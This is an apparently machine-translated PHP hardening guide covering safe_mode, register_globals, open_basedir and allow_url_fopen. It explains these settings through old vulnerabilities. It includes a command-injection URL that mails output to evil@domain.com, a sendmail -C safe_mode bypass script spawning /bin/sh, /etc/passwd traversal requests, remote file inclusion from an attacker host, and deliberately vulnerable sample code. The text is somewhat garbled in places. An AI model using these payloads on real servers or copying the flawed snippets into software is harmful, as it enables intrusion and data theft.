Common PHP security settings

Source: Internet
Author: User
PHP is actually a module function of the Web server. Therefore, you must first ensure the security of the Web server. Of course, to ensure the security of Web servers, you must first ensure system security.

I. Web server security

PHP is actually a module function of the Web server. Therefore, you must first ensure the security of the Web server. Of course, to ensure the security of Web servers, you must first ensure the system security. this is a long way to go and is endless. PHP can be combined with various Web servers. here we only discuss Apache.

We strongly recommend that you install and start Apache in the form of chroot. in this way, even if Apache, PHP, and their scripts are prone to vulnerabilities, only the banned system will be affected and the actual system will not be harmed.

However, the use of chroot Apache may cause some problems for the application. for example, when connecting to mysql, you must use the 127.0.0.1 address to use tcp connection instead of localhost to implement socket connection, this is slightly less efficient. The mail function is also a problem to send emails.

Because in php. ini:

 
 
[Mail function]; For Win32 only. SMTP = localhost; For Win32 only. sendmail_from = me@localhost.com
All are for the Win32 Platform, so you need to adjust sendmail in the chroot environment. II. PHP problems
1. remote overflow
All versions below PHP-4.1.2 have the remote buffer overflow vulnerability of file upload, and the attack program has been widely spread, the success rate is very high.
2. remote denial of service
PHP-4.2.0 and PHP-4.2.1 have remote vulnerability in PHP multipart/form-data POST request processing, which can cause denial of service even though local user permissions are not available.
3. safe_mode bypass vulnerability
There is also a PHP mail function bypass safe_mode restriction command execution vulnerability in the PHP-4.2.2 versions below to the PHP-4.0.5 version, 4.0.5 versions start mail function added the fifth parameter, because the designer considers that he can break through the safe_mode restriction to execute commands within weeks. 4.0.5 breakthrough is very simple. you only need to use semicolons to separate and add shell commands. for example, the PHP script edevil. php exists:
Run the following URL: http://foo.com/evil.php? Bar =;/usr/bin/id mail evil@domain.com this sends the result of id execution to the evil@domain.com.
For PHP from 4.0.6 to 4.2.2, breaking the safe_mode restriction actually uses the-C parameter of sendmail, so the system must use sendmail. The following code breaks through the safe_mode restriction and executes the command:
Note that the following two must not exist, or their owner is the same as the owner of the script.
 
 
$script="/tmp/script123"; $cf="/tmp/cf123"; $fd = fopen($cf, "w"); fwrite($fd, "OQ/tmp Sparse=0 R$*" . chr(9) . "$#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script"); fclose($fd); $fd = fopen($script, "w"); fwrite($fd, "rm -f $script $cf; "); fwrite($fd, $cmd); fclose($fd); mail("nobody", "", "", "", "-C$cf"); ?>
If you are still using the above problematic PHP version, you must upgrade it to the latest version in time to eliminate basic security issues.
III. security configuration of PHP itself
PHP configuration is very flexible, you can use php. ini, httpd. conf ,. htaccess file (AllowOverride All or Options must be set in this directory), you can also use ini_set () and its specific functions in the script program to set. You can use the phpinfo () and get_cfg_var () functions to obtain the values of the configuration options.
If the configuration options are the only PHP_INI_SYSTEM attribute, they must be modified through php. ini and httpd. conf. they modify the Master values of PHP, but after the modification, apache must be restarted to take effect. The options set in php. ini take effect for all scripts on the Web server, and the options set in httpd. conf take effect for all scripts under the defined directory.
If there are other options for the PHP_INI_USER, PHP_INI_PERDIR, and PHP_INI_ALL attributes, you can use them. you can also set the htaccess file by using the ini_set () function in the script program itself. they modify the Local value and take effect immediately after the change. However,. htaccess only takes effect for the script program in the current directory. the ini_set () function only takes effect for the code after the ini_set () function is set for the script program. The options of different versions may have different attributes. you can use the following command to find all the options in the main. c file of the current source code and their attributes:
Grep PHP_INI _/PHP_SRC/main. c before discussing PHP security configuration, you should have a good understanding of the safe_mode mode of PHP.
1.safe_mode 
Safe_mode is the unique PHP_INI_SYSTEM attribute and must be set through php. ini or httpd. conf. To enable safe_mode, you only need to modify
 
 
php.ini: safe_mode = On
Or modify httpd. conf and define the directory: Options FollowSymLinks php_admin_value safe_mode 1. restart apache and then the safe_mode will take effect. When safe_mode is started, many PHP functions are restricted, especially system-related functions such as file opening and command execution. Functions of all operation files can only operate files with the same UID as the script. for example, the content of the test. php script is:
The attributes of several files are as follows:
 
 
ls -la total 13 drwxr-xr-x 2 root root 104 Jul 20 01:25 . drwxr-xr-x 16 root root 384 Jul 18 12:02 .. -rw-r--r-- 1 root root 4110 Oct 26 2002 index.html -rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

When you request test. php in the browser, the following error message is displayed:


Warning: safe mode Restriction in effect. The script whose uid/gid is 33/33 is not allowed
Access./index.html owned by uid/gid 0/0 in/var/www/test. php on line 1


If the UID in the directory where the operated file is located is the same as the script UID, the UID of the file can be accessed even if it is different from the script. I wonder whether this is a PHP vulnerability or not.
Therefore, the php script owner is recommended for this purpose only. it is absolutely forbidden to use root as the owner of the php script, so that the effect of safe_mode is not achieved.

If you want to extend it to GID comparison, you can enable safe_mode_gid to compare only the GID of the file. you can set the following options:


Safe_mode_gid = On


After safe_mode is set, all functions executed by commands will be restricted to only php. in ini, safe_mode_exec_dir specifies the program in the directory, and the command execution methods like shell_exec and 'ls-L' are forbidden.
If you really need to call other programs, you can make the following settings in php. ini:


Safe_mode_exec_dir =/usr/local/php/exec


Then copy the program to this directory. then, the php script can use functions such as system to execute the program. In addition, shell scripts in this directory can still call system commands in other directories.


Safe_mode_include_dir string


When this directory and its subdirectories (the directory must be included in include_path or in the full path) contain files, the UID/GID check is performed.

Starting from PHP 4.2.0, this command can accept a path separated by semicolons in a similar style as the include_path command, not just a directory. The specified limit is actually a prefix rather than a directory name.
This means that "safe_mode_include_dir =/dir/incl" will allow access to "/dir/include" and "/dir/incls" if they exist. If you want to control access to a specified directory, add a slash at the end,

For example, "safe_mode_include_dir =/dir/incl /".


Safe_mode_allowed_env_vars string


Setting certain environment variables may be a potential security gap. This command contains a comma-separated Prefix List. In security mode, you can only change the environment variables whose names have the prefix provided here.
By default, you can only set environment variables starting with PHP _ (for example, PHP_FOO = BAR ).

Note: If this command is empty, PHP allows you to modify any environment variables!


Safe_mode_protected_env_vars string


This command contains a comma-separated list of environment variables. end users cannot use putenv () to change these environment variables. Even in
When safe_mode_allowed_env_vars is set to allow modification, these variables cannot be changed. Although safe_mode is not omnipotent (earlier versions of PHP can bypass), it is strongly recommended to enable the security mode to avoid unknown attacks to some extent.
However, enabling safe_mode has many restrictions, which may affect the application. Therefore, you must adjust the code and configuration to ensure harmony. For functions restricted or blocked by the security mode, refer to the PHP Manual.
After discussing safe_mode, we will discuss how to avoid the vulnerability by configuring the PHP server based on the actual problems that may occur in the program code.
2. variable misuse
By default, PHP register_globals = On. for GET, POST, Cookie, Environment, and Session variables, you can directly register them as global variables. Their registration order is variables_order = "EGPCS" (which can be modified through php. ini). the right side of the variable variables_order with the same name overwrites the left side. Therefore, misuse of variables can easily cause program confusion. In addition, script programmers often do not have the habit of initializing variables, and the following program fragments are vulnerable to attacks:
 
 
//test_1.php if ($pass == "hello") $auth = 1; if ($auth == 1) echo "some important information"; else echo "nothing"; ?>
Attackers can bypass the check with the following request:
Http: // victim/test_1.php? Auth = 1 this is a very mentally retarded error, but some famous programs have also made this error, such as phpnuke remote file copy vulnerability: http://www.securityfocus.com/bid/3361
We recommend that you disable register_globals when the PHP-4.1.0 is released and provide 7 special array variables to use various variables. Variables such as GET, POST, and COOKIE are not directly registered as variables and must be accessed through array variables. When the PHP-4.2.0 is released, the default php. ini configuration is register_globals = Off. This allows the program to use the default value of PHP initialization, which is generally 0, which avoids attackers from controlling the judgment variables.
Solution:
Configuration file php. ini settings
Register_globals = Off.

The programmer is required to initialize a value for the variable used as the judgment variable at the beginning of the program.

3. open the file

Vulnerable code snippets:
 
 
//test_2.php if (!($str = readfile("$filename"))) { echo("Could not open file: $filename \n"); exit; } else { echo $str; } ?>
Because attackers can specify arbitrary $ filename, they can use the following request to view/etc/passwd:
Http: // victim/test_2.php? Filename =/etc/passwd the following request can read the php file itself:
Http: // victim/test_2.php? In filename = test_2.php PHP, file opening functions include fopen () and file (). If you do not strictly check the file name variables, important files on the server will be accessed and read.
Solution: If not required, restrict php file operations to the web Directory. The following is how to modify the apache configuration file httpd. example of conf: php_admin_value open_basedir/usr/local/apache/htdocs after apache is restarted, the PHP script under the/usr/local/apache/htdocs directory can only operate on files in its own directory; otherwise, the PHP will report an error:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx. this problem can also be avoided using the safe_mode mode, which has been discussed earlier.
4. code snippets containing files that are vulnerable to attacks: // test_3.php if (file_exists ($ filename) include ("$ filename");?> This irresponsible code can cause considerable harm. attackers can use the following request to obtain the/etc/passwd file:
Http: // victim/test_3.php? Filename =/etc/passwd for PHP of Unix (PHP of Windows does not support remote file opening) attackers can create a file containing shell commands on an http or ftp server, for example, http: // attack/attack.txt, then the following request can run the ls/etc command on the target host:
Http: // victim/test_3.php? Filename = http: // attack/attack.txt attackers can even access the log file containing apache. log and error. log to obtain the code for executing the command, but it is sometimes difficult to succeed due to too much interference information.
For another form, the following code snippet: // test_4.php include ("$ lib/config. php");?> Attackers can create a config. php file on their host that contains the code for executing the command, and then execute the command on the target host using the following request:
Http: // victim/test_4.php? Lib = http: // The include functions of attack PHP include (), include_once (), require (), and require_once. If you do not strictly check the variables that contain file names, the system may be in serious danger. you can remotely execute the command.
Solution: The programmer is required to avoid using variables whenever possible for parameters in the file. if a variable is used, the file name to be included must be strictly checked and cannot be specified by the user. For example, it is necessary to restrict the PHP operation path in the preceding file. In addition, you must disable the PHP remote file opening function unless otherwise required. Modify the php. ini file: allow_url_fopen = Off to restart apache.
5. file Upload
The file upload mechanism of php stores user-uploaded files in php. the temporary directory defined by upload_tmp_dir of ini (the default is the temporary directory of the system, for example,/tmp) is a random temporary file similar to phpxXuoXG, and the program execution ends, the temporary file is also deleted. PHP defines four variables for the uploaded file: (for example, the form variable name is file and register_globals is enabled)
 
 
$ File # is a temporary file saved to the server (for example,/tmp/phpxXuoXG) $ file_size # Size of the uploaded file $ file_name # original name of the uploaded file $ file_type # recommended file types: $ HTTP_POST_FILES ['file'] ['tmp _ name'] $ HTTP_POST_FILES ['file'] ['size'] $ HTTP_POST_FILES ['file'] ['name'] $ HTTP_POST_FILES ['file'] ['type']

This is the simplest file upload code:

// Test_5.php if (isset ($ upload) & $ file! = "None") {copy ($ file, "/usr/local/apache/htdocs/upload /". $ file_name); echo "file ". $ file_name. "Upload successful! Click "continue Upload"; exit ;}?> Content = "text/html; charset = gb2312">
This upload code has a major problem of reading arbitrary files and executing commands.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.